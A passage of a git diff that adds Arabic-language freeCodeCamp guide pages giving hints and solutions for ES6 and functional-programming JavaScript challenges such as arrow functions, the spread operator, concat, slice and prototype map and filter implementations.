+    }; 
+ })(); 
+ console.log(product(2, 4, 6));//48 
+`](http://www.youtube.com/watch?feature=player_embedded&v=iLx4ma8ZqvQ
+)
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/use-the-spread-operator-to-evaluate-arrays-in-place/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/use-the-spread-operator-to-evaluate-arrays-in-place/index.md
new file mode 100644
index 0000000000..f3496d766e
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/use-the-spread-operator-to-evaluate-arrays-in-place/index.md
@@ -0,0 +1,45 @@
+---
+title: Use the Spread Operator to Evaluate Arrays In-Place
+localeTitle: استخدم Spread Operator لتقييم Arrays في - مكان
+---
+## استخدم Spread Operator لتقييم Arrays في - مكان
+
+### وأوضح انتشار المشغل
+
+[Mozilla Developer Network Spread Operator](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_syntax "شبكة مطوري موزيلا")
+
+### انتشار المشغل مقارنة مع بقية المعلمة
+
+[Stack Overflow](https://stackoverflow.com/questions/33898512/spread-operator-vs-rest-parameter-in-es2015-es6 "Stack Overflow")
+
+### فيديو شرح المشغل انتشار وبقية المعلمة
+
+[!["صورة](http://img.youtube.com/vi/iLx4ma8ZqvQ/0.jpg)](http://www.youtube.com/watch?feature=player_embedded&v=iLx4ma8ZqvQ
+)
+
+[
+
+### معلومات حول تطبيق () طريقة
+
+](http://www.youtube.com/watch?feature=player_embedded&v=iLx4ma8ZqvQ
+)
+
+[](http://www.youtube.com/watch?feature=player_embedded&v=iLx4ma8ZqvQ
+)[موزيلا مطور شبكة تطبيق طريقة](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/apply "شبكة مطوري موزيلا")
+
+### 3 أمثلة سريعة
+
+ `let numbers = [-12, 160, 0, -3, 51]; 
+ let minNum = Math.min.apply(null, numbers); 
+ console.log(minNum);//-12 
+` 
+
+ `let numbers = [-12, 160, 0, -3, 51]; 
+ let minNum = Math.min(numbers); 
+ console.log(minNum);//NaN 
+` 
+
+ `let numbers = [-12, 160, 0, -3, 51]; 
+ let minNum = Math.min(...numbers); 
+ console.log(minNum);//-12 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/write-arrow-functions-with-parameters/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/write-arrow-functions-with-parameters/index.md
new file mode 100644
index 0000000000..d786757ba9
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/write-arrow-functions-with-parameters/index.md
@@ -0,0 +1,29 @@
+---
+title: Write Arrow Functions with Parameters
+localeTitle: كتابة وظائف السهم مع المعلمات
+---
+## كتابة وظائف السهم مع المعلمات
+
+هنا هو [مورد رائع عن وظائف مجهولة في جافا سكريبت](http://helephant.com/2008/08/23/javascript-anonymous-functions/) ، في حال كنت لا تزال تتساءل ما هي ، ودورها.
+
+الآن ، يتم تكليفك بوضع المعلمات داخل وظائف الأسهم.
+
+## تلميح 1:
+
+تخلص من الكلمة `function` . ضع عامل السهم.
+
+## تلميح 2:
+
+تأكد من تغيير `var` إلى `const` .
+
+## تحذير المفسد - الحل إلى الأمام!
+
+## حل:
+
+ `const myConcat = (arr1, arr2) => { 
+  "use strict"; 
+  return arr1.concat(arr2); 
+ }; 
+ // test your code 
+ console.log(myConcat([1, 2], [3, 4, 5])); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/write-concise-declarative-functions-with-es6/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/write-concise-declarative-functions-with-es6/index.md
new file mode 100644
index 0000000000..419b71b5af
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/write-concise-declarative-functions-with-es6/index.md
@@ -0,0 +1,24 @@
+---
+title: Write Concise Declarative Functions with ES6
+localeTitle: كتابة وظائف التعريفي موجزة مع ES6
+---
+## كتابة وظائف التعريفي موجزة مع ES6
+
+ES6 يجعل من السهل ، والخيال ، لكتابة وظائف الإعلان! في هذا الدرس ، يتم تكليفك بتغيير الوظيفة لمتابعة معايير ES6.
+
+## تلميح 1:
+
+تخلص من الكلمة `function` .
+
+## تنبيه المفسد - الحل إلى الأمام!
+
+## حل
+
+ `const bicycle = { 
+  gear: 2, 
+  setGear(newGear) { 
+    "use strict"; 
+    this.gear = newGear; 
+  } 
+ }; 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/write-concise-object-literal-declarations-using-simple-fields/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/write-concise-object-literal-declarations-using-simple-fields/index.md
new file mode 100644
index 0000000000..994ebb6f70
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/write-concise-object-literal-declarations-using-simple-fields/index.md
@@ -0,0 +1,27 @@
+---
+title: Write Concise Object Literal Declarations Using Simple Fields
+localeTitle: كتابة تعريفات كائن حرفي باستخدام حقول بسيطة
+---
+## كتابة تعريفات كائن حرفي باستخدام حقول بسيطة
+
+هنا ، نحن مكلفون بإرجاع كائن يقبل معلمات الدالة كخصائصها.
+
+# تلميح 1:
+
+تخلص من النقطتين ، والكلمات المكررة.
+
+## تنبيه المفسد - الحل إلى الأمام
+
+## حل
+
+ `const createPerson = (name, age, gender) => { 
+  "use strict"; 
+  // change code below this line 
+  return { 
+    name, 
+    age, 
+    gender 
+  }; 
+  // change code above this line 
+ }; 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/write-higher-order-arrow-functions/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/write-higher-order-arrow-functions/index.md
new file mode 100644
index 0000000000..bf5025a30b
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/write-higher-order-arrow-functions/index.md
@@ -0,0 +1,69 @@
+---
+title: Write Higher Order Arrow Functions
+localeTitle: اكتب وظائف السهم لأعلى ترتيب
+---
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/3/3c8584a085a0deaea66b3400e6321eeadab552a2.jpg)
+
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 ": triangular_flag_on_post:") تذكر استخدام **`Read-Search-Ask`** إذا واجهتك مشكلة. حاول إقران البرنامج ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") واكتب الكود الخاص بك ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":قلم:")
+
+### شرح المشكلة:
+
+نحن بحاجة إلى حساب وقيم مربعة من `realNumberArray` وتخزينها في `squaredIntegers` متغير باستخدام `squaredIntegers` `map()` ، `filter()` ، و / أو `reduce()` .
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 1
+
+*   ستحتاج إلى `filter()` `realNumberArray` للأعداد الصحيحة الموجبة (الكسور العشرية ليست الأعداد الصحيحة).
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 2
+
+*   ستحتاج إلى `map()` القيم من الدالة `filter()` إلى `squaredIntegers` المتغير.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 3
+
+*   تذكر سحر وظائف التسلسل.
+
+> _حاول أن تحل المشكلة الآن_
+
+## تنبيه المفسد!
+
+![علامة تحذير](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**الحل في المستقبل!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":مبتدئ:") الحل الأساسي للكود:
+
+ `    const squareList = (arr) => { 
+      "use strict"; 
+      const squaredIntegers = arr.filter( (num) => num > 0 && num % parseInt(num) === 0 ).map( (num) => Math.pow(num, 2) ); 
+      return squaredIntegers; 
+    }; 
+ 
+    // test your code 
+    const squaredIntegers = squareList(realNumberArray); 
+    console.log(squaredIntegers); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://codepen.io/dylantyates/pen/WyWoYJ)
+
+# شرح الشفرة:
+
+يستخدم عامل `filter()` عوامل `filter()` و `map()` لترقيم كل الأعداد الصحيحة الموجبة في مصفوفة معينة.
+
+#### روابط ذات صلة
+
+*   [خريطة()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map)
+*   [منقي()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter)
+*   [خفض()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/Reduce)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ": الحافظة:") ملاحظات للمساهمات:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **لا تقم** بإضافة حلول مشابهة لأي حلول موجودة. إذا كنت تعتقد أنها **_مشابهة ولكن أفضل_** ، فحاول دمج (أو استبدال) الحل المشابه الموجود.
+*   أضف شرحًا لحلك.
+*   تصنيف الحل في واحدة من الفئات التالية - **الأساسي** **والمتوسط** **والمتقدم** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ": traffic_light:")
+*   الرجاء إضافة اسم المستخدم الخاص بك فقط إذا قمت بإضافة أي **محتويات رئيسية ذات صلة** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **_لا_** _تزيل أي أسماء مستخدمين حالية_ )
+
+> نرى ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) كمرجع.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/functional-programming/add-elements-to-the-end-of-an-array-using-concat-instead-of-push/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/functional-programming/add-elements-to-the-end-of-an-array-using-concat-instead-of-push/index.md
new file mode 100644
index 0000000000..2941c14917
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/functional-programming/add-elements-to-the-end-of-an-array-using-concat-instead-of-push/index.md
@@ -0,0 +1,27 @@
+---
+title: Add Elements to the End of an Array Using concat Instead of push
+localeTitle: إضافة عناصر إلى نهاية صفيف باستخدام concat بدلاً من الضغط
+---
+## إضافة عناصر إلى نهاية صفيف باستخدام concat بدلاً من الضغط
+
+عندما تضيف طريقة `push` عنصرًا جديدًا إلى نهاية الصفيف الأصلي ، تنشئ طريقة `concat` صفيفًا جديدًا يحتوي على العناصر من الصفيف الأصلي والعنصر الجديد. الصفيف الأصلي لا يزال هو نفسه عند استخدام `concat` .
+
+#### روابط ذات صلة:
+
+*   [Array.prototype.concat ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/concat)
+
+## حل
+
+ `function nonMutatingPush(original, newItem) { 
+ 
+  // Add your code below this line 
+ 
+  return original.concat(newItem); 
+ 
+  // Add your code above this line 
+ } 
+ 
+ var first = [1, 2, 3]; 
+ var second = [4, 5]; 
+ nonMutatingPush(first, second); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/functional-programming/apply-functional-programming-to-convert-strings-to-url-slugs/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/functional-programming/apply-functional-programming-to-convert-strings-to-url-slugs/index.md
new file mode 100644
index 0000000000..fd2be598b8
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/functional-programming/apply-functional-programming-to-convert-strings-to-url-slugs/index.md
@@ -0,0 +1,36 @@
+---
+title: Apply Functional Programming to Convert Strings to URL Slugs
+localeTitle: تطبيق برمجة وظيفية لتحويل السلاسل إلى Slug URL
+---
+## تطبيق برمجة وظيفية لتحويل السلاسل إلى Slug URL
+
+### حل
+
+ `// the global variable 
+ var globalTitle = "Winter Is Coming"; 
+ 
+ // Add your code below this line 
+ function urlSlug(title) { 
+ return title.split(/\W/).filter((obj)=>{ 
+    return obj !==''; 
+  }).join('-').toLowerCase(); 
+ 
+ } 
+ // Add your code above this line 
+ 
+ var winterComing = urlSlug(globalTitle); // Should be "winter-is-coming" 
+` 
+
+### حل بديل
+
+ `// the global variable 
+ var globalTitle = "Winter Is Coming"; 
+ 
+ // Add your code below this line 
+ function urlSlug(title) { 
+  return title.toLowerCase().trim().split(/\s+/).join('-'); 
+ } 
+ // Add your code above this line 
+ 
+ var winterComing = urlSlug(globalTitle); // Should be "winter-is-coming" 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/functional-programming/avoid-mutations-and-side-effects-using-functional-programming/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/functional-programming/avoid-mutations-and-side-effects-using-functional-programming/index.md
new file mode 100644
index 0000000000..982f88a685
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/functional-programming/avoid-mutations-and-side-effects-using-functional-programming/index.md
@@ -0,0 +1,29 @@
+---
+title: Avoid Mutations and Side Effects Using Functional Programming
+localeTitle: تجنب الطفرات والآثار الجانبية باستخدام البرمجة الوظيفية
+---
+## تجنب الطفرات والآثار الجانبية باستخدام البرمجة الوظيفية
+
+### شرح المشكلة
+
+ملء رمز لوظيفة `incrementer` بحيث تقوم بإرجاع قيمة المتغير العالمي `fixedValue` بنسبة واحد. `fixedValue` يجب ألا يتغير ، بغض النظر عن عدد المرات التي يطلق عليها الدالة `incrememter` .
+
+### تلميح 1
+
+يؤدي استخدام عامل الزيادة ( `++` ) على `fixedValue` إلى `fixedValue` ، مما يعني أنها لن تعد تشير إلى نفس القيمة التي تم تعيينها لها.
+
+### حل:
+
+ `// the global variable 
+ var fixedValue = 4; 
+ 
+ function incrementer () { 
+  // Add your code below this line 
+  return fixedValue + 1; 
+ 
+  // Add your code above this line 
+ } 
+ 
+ var newValue = incrementer(); // Should equal 5 
+ console.log(fixedValue); // Should print 4 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/functional-programming/combine-an-array-into-a-string-using-the-join-method/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/functional-programming/combine-an-array-into-a-string-using-the-join-method/index.md
new file mode 100644
index 0000000000..99cc068e38
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/functional-programming/combine-an-array-into-a-string-using-the-join-method/index.md
@@ -0,0 +1,33 @@
+---
+title: Combine an Array into a String Using the join Method
+localeTitle: دمج صفيف في سلسلة باستخدام طريقة الانضمام
+---
+## ضم مجموعة في سلسلة باستخدام أسلوب الانضمام
+
+### شرح المشكلة
+
+استخدم طريقة `join` (من بين آخرين) داخل الدالة `sentensify` لإنشاء جملة من الكلمات في `str` السلسلة. يجب على الدالة إرجاع سلسلة. على سبيل المثال ، سيتم تحويل "I-like-Star-Wars" إلى "I like Star Wars". لهذا التحدي ، لا تستخدم طريقة `replace` .
+
+#### روابط ذات صلة:
+
+*   [Array.prototype.join ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/join)
+*   [String.prototype.split ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/split)
+*   [التعبيرات العادية](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions)
+
+### Hint1
+
+قد تحتاج إلى تحويل السلسلة إلى صفيف أولاً.
+
+### Hint2
+
+قد تحتاج إلى استخدام تعبير عادي لتقسيم السلسلة.
+
+### حل:
+
+ `function sentensify(str) { 
+  // Add your code below this line 
+  return str.split(/\W/).join(' '); 
+  // Add your code above this line 
+ } 
+ sentensify("May-the-force-be-with-you"); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/functional-programming/combine-two-arrays-using-the-concat-method/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/functional-programming/combine-two-arrays-using-the-concat-method/index.md
new file mode 100644
index 0000000000..7f91a44583
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/functional-programming/combine-two-arrays-using-the-concat-method/index.md
@@ -0,0 +1,22 @@
+---
+title: Combine Two Arrays Using the concat Method
+localeTitle: الجمع بين اثنين من المصفوفات باستخدام طريقة concat
+---
+## الجمع بين اثنين من المصفوفات باستخدام طريقة concat
+
+*   يتم استخدام الأسلوب concat لربط صفيفين أو أكثر أو سلاسل.
+*   هذه الطريقة لا تحوِّل الصفائف الموجودة ، ولكنها تعيد صفيفًا جديدًا.
+
+## حل
+
+ `function nonMutatingConcat(original, attach) { 
+  // Add your code below this line 
+ 
+  return original.concat(attach); 
+ 
+  // Add your code above this line 
+ } 
+ var first = [1, 2, 3]; 
+ var second = [4, 5]; 
+ nonMutatingConcat(first, second); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/functional-programming/implement-map-on-a-prototype/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/functional-programming/implement-map-on-a-prototype/index.md
new file mode 100644
index 0000000000..1fc070b335
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/functional-programming/implement-map-on-a-prototype/index.md
@@ -0,0 +1,33 @@
+---
+title: Implement map on a Prototype
+localeTitle: تنفيذ الخريطة على نموذج أولي
+---
+## تنفيذ الخريطة على نموذج أولي
+
+لحل هذا التحدي باستخدام الكلمة الرئيسية هذا هو المفتاح.
+
+سيتيح لنا الوصول إلى الكائن الذي نطلق عليه myMap.
+
+ومن هناك ، يمكننا استخدام forEach أو for loop لإضافة عناصر إلى مصفوفة فارغة تم تعريفها بالفعل ، حيث نقوم بتعديل كل عنصر باستخدام طريقة رد الاتصال المحددة.
+
+ `// the global Array 
+ var s = [23, 65, 98, 5]; 
+ 
+ Array.prototype.myMap = function(callback){ 
+  var newArray = []; 
+  // Add your code below this line 
+  this.forEach(a => newArray.push(callback(a))); 
+  // Add your code above this line 
+  return newArray; 
+ 
+ }; 
+ 
+ var new_s = s.myMap(function(item){ 
+  return item * 2; 
+ }); 
+` 
+
+### روابط مفيدة
+
+[هذه. Javascript MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/this)  
+[هذه. جافا سكريبت W3Schools](https://www.w3schools.com/js/js_this.asp)
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/functional-programming/implement-the-filter-method-on-a-prototype/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/functional-programming/implement-the-filter-method-on-a-prototype/index.md
new file mode 100644
index 0000000000..a3c210d6ce
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/functional-programming/implement-the-filter-method-on-a-prototype/index.md
@@ -0,0 +1,42 @@
+---
+title: Implement the filter Method on a Prototype
+localeTitle: تنفيذ مرشح طريقة على النموذج
+---
+## تنفيذ مرشح طريقة على النموذج
+
+ `// the global Array 
+ var s = [23, 65, 98, 5]; 
+ 
+ Array.prototype.myFilter = function(callback){ 
+  var newArray = []; 
+  // Add your code below this line 
+  this.forEach(function(x) { 
+    if (callback(x) == true) { 
+      newArray.push(x); 
+    } 
+  }) 
+  // Add your code above this line 
+  return newArray; 
+ 
+ }; 
+` 
+
+## حل آخر باستخدام looop!
+
+ `Array.prototype.myFilter = function(callback){ 
+  var newArray = []; 
+  // Add your code below this line 
+  for (let i=0; i<this.length;i++){ 
+    if(callback(this[i])=== true ){ 
+ newArray.push(this[i]); 
+    } 
+  } 
+  // Add your code above this line 
+  return newArray; 
+ 
+ }; 
+ 
+ var new_s = s.myFilter(function(item){ 
+  return item % 2 === 1; 
+ }); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/functional-programming/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/functional-programming/index.md
new file mode 100644
index 0000000000..df3059b75a
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/functional-programming/index.md
@@ -0,0 +1,11 @@
+---
+title: Functional Programming
+localeTitle: برمجة وظيفية
+---
+## برمجة وظيفية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/functional-programming/introduction-to-currying-and-partial-application/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/functional-programming/introduction-to-currying-and-partial-application/index.md
new file mode 100644
index 0000000000..e2052f2958
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/functional-programming/introduction-to-currying-and-partial-application/index.md
@@ -0,0 +1,19 @@
+---
+title: Introduction to Currying and Partial Application
+localeTitle: مقدمة في التجلي والتطبيق الجزئي
+---
+## مقدمة في التجلي والتطبيق الجزئي
+
+### حل
+
+ `function add(x) { 
+  // Add your code below this line 
+  return function(y) { 
+    return function(z) { 
+      return x + y + z; 
+    } 
+  } 
+  // Add your code above this line 
+ } 
+ add(10)(20)(30); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/functional-programming/learn-about-functional-programming/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/functional-programming/learn-about-functional-programming/index.md
new file mode 100644
index 0000000000..0aeab78412
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/functional-programming/learn-about-functional-programming/index.md
@@ -0,0 +1,46 @@
+---
+title: Learn About Functional Programming
+localeTitle: تعرف على برمجة وظيفية
+---
+## تعرف على برمجة وظيفية
+
+تحتوي الدالة على إدخال أو معلمة `const myFunc = (input) => { ...code to execute... }` . في هذه الحالة ، الإدخال هو عدد أكواب الشاي المراد إنشاؤها.  
+
+### طريقة
+
+يجب تغيير سطر واحد فقط من رمز لتمرير هذا challenege. يجب استدعاء الدالة `getTea()` وتخزينها في متغير `tea4TeamFCC` . تأكد من قراءة وظيفة `getTea()` وفهم ما يفعله بالضبط. تأخذ الدالة في متغير واحد - `numOfCups` . يتم `teaCups[]` صفيف `teaCups[]` لأول مرة ويتم إعداد حلقة for up لأعداد عدد الكؤوس التي تم تمريرها إلى الدالة. ثم يتم دفع كوب جديد من الشاي إلى الصفيف من خلال كل تكرار للحلقة.
+
+وبالتالي نتج عنه صفيف مليء `getTea()` الشاي التي تم تمريرها في الأصل إلى وظيفة `getTea()` .
+
+### حل
+
+ `/** 
+ * A long process to prepare tea. 
+ * @return {string} A cup of tea. 
+ **/ 
+ const prepareTea = () => 'greenTea'; 
+ 
+ /** 
+ * Get given number of cups of tea. 
+ * @param {number} numOfCups Number of required cups of tea. 
+ * @return {Array<string>} Given amount of tea cups. 
+ **/ 
+ const getTea = (numOfCups) => { 
+  const teaCups = []; 
+ 
+  for(let cups = 1; cups <= numOfCups; cups += 1) { 
+    const teaCup = prepareTea(); 
+    teaCups.push(teaCup); 
+  } 
+ 
+  return teaCups; 
+ }; 
+ 
+ // Add your code below this line 
+ 
+ const tea4TeamFCC = getTea(40); // :( 
+ 
+ // Add your code above this line 
+ 
+ console.log(tea4TeamFCC); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/functional-programming/pass-arguments-to-avoid-external-dependence-in-a-function/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/functional-programming/pass-arguments-to-avoid-external-dependence-in-a-function/index.md
new file mode 100644
index 0000000000..2964d13f68
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/functional-programming/pass-arguments-to-avoid-external-dependence-in-a-function/index.md
@@ -0,0 +1,31 @@
+---
+title: Pass Arguments to Avoid External Dependence in a Function
+localeTitle: تمرير الحجج لتجنب الاعتماد الخارجي في وظيفة
+---
+## تمرير الحجج لتجنب الاعتماد الخارجي في وظيفة
+
+## تلميح: 1
+
+حاول تمرير الوسيطة للعمل وإرجاع قيمة زيادة هذه الوسيطة.
+
+**الحل في المستقبل!**
+
+## الحل الأساسي للكود:
+
+ `// the global variable 
+ var fixedValue = 4; 
+ 
+ // Add your code below this line 
+ function incrementer (value) { 
+  return value + 1; 
+ 
+  // Add your code above this line 
+ } 
+ 
+ var newValue = incrementer(fixedValue); // Should equal 5 
+ console.log(fixedValue); // Should print 4 
+` 
+
+### طريقة
+
+سيوفر هذا الرمز نفس النتيجة `fixedValue` الأخير ، فقط هذه المرة `fixedValue` قيمة `fixedValue` إلى الدالة كمعلمة.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/functional-programming/refactor-global-variables-out-of-functions/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/functional-programming/refactor-global-variables-out-of-functions/index.md
new file mode 100644
index 0000000000..2d8ea0aa5d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/functional-programming/refactor-global-variables-out-of-functions/index.md
@@ -0,0 +1,43 @@
+---
+title: Refactor Global Variables Out of Functions
+localeTitle: المتغيرات العالمية ريفاكتور من الوظائف
+---
+## المتغيرات العالمية ريفاكتور من الوظائف
+
+*   إذا كنت تواجه مشكلة في تغيير bookList ، فحاول استخدام نسخة من الصفيف في وظائفك.
+    
+*   إليك بعض المعلومات الإضافية حول \[كيفية معالجة معاملات الدالة JavaScript\] (https://codeburst.io/javascript-passing-by-value-vs- reference-explain-in-plain-english-8d00fd06a47c).
+    
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":مبتدئ:") الحل الأساسي للكود:
+
+## الحل 1
+
+ `function add (arr, bookName) { 
+  let newArr = [...arr];  // Copy the bookList array to a new array. 
+  newArr.push(bookName);  // Add bookName parameter to the end of the new array. 
+  return newArr; // Return the new array. 
+ } 
+ 
+ function remove (arr, bookName) { 
+  let newArr = [...arr];  // Copy the bookList array to a new array. 
+  if (newArr.indexOf(bookName) >= 0) {   // Check whether the bookName parameter is in new array. 
+    /. 
+    newArr.splice(newArr.indexOf(bookName), 1); // Remove the given paramater from the new array. 
+    return newArr; // Return the new array. 
+    } 
+ } 
+` 
+
+## الحل 2
+
+ `function add (list,bookName) { 
+  return [...list, bookName]; 
+ } 
+ 
+ function remove (list,bookName) { 
+  if (list.indexOf(bookName) >= 0) { 
+    return list.filter((item) => item !== bookName); 
+    } 
+ } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/functional-programming/remove-elements-from-an-array-using-slice-instead-of-splice/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/functional-programming/remove-elements-from-an-array-using-slice-instead-of-splice/index.md
new file mode 100644
index 0000000000..42917b9810
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/functional-programming/remove-elements-from-an-array-using-slice-instead-of-splice/index.md
@@ -0,0 +1,22 @@
+---
+title: Remove Elements from an Array Using slice Instead of splice
+localeTitle: إزالة عناصر من صفيف باستخدام شريحة بدلاً من لصق
+---
+## إزالة عناصر من صفيف باستخدام شريحة بدلاً من لصق
+
+*   الفرق بين لصق وطريقة شريحة هو أن طريقة شريحة لا تحور الصفيف الأصلي ، ولكن إرجاع واحدة جديدة.
+*   تأخذ طريقة الشريحة اثنين من الوسيطتين لبدء المؤشرات وإنهاء الشريحة (النهاية غير شاملة).
+*   إذا كنت لا تريد تحوير الصفيف الأصلي ، يمكنك استخدام طريقة الشريحة.
+
+## حل
+
+ `function nonMutatingSplice(cities) { 
+  // Add your code below this line 
+ 
+  return cities.slice(0, 3); 
+ 
+  // Add your code above this line 
+ } 
+ var inputCities = ["Chicago", "Delhi", "Islamabad", "London", "Berlin"]; 
+ nonMutatingSplice(inputCities); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/functional-programming/return-a-sorted-array-without-changing-the-original-array/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/functional-programming/return-a-sorted-array-without-changing-the-original-array/index.md
new file mode 100644
index 0000000000..ab2341614a
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/functional-programming/return-a-sorted-array-without-changing-the-original-array/index.md
@@ -0,0 +1,22 @@
+---
+title: Return a Sorted Array Without Changing the Original Array
+localeTitle: إرجاع صفيف Sorted دون تغيير في صفيف الأصلي
+---
+## إرجاع صفيف Sorted دون تغيير في صفيف الأصلي
+
+### طريقة
+
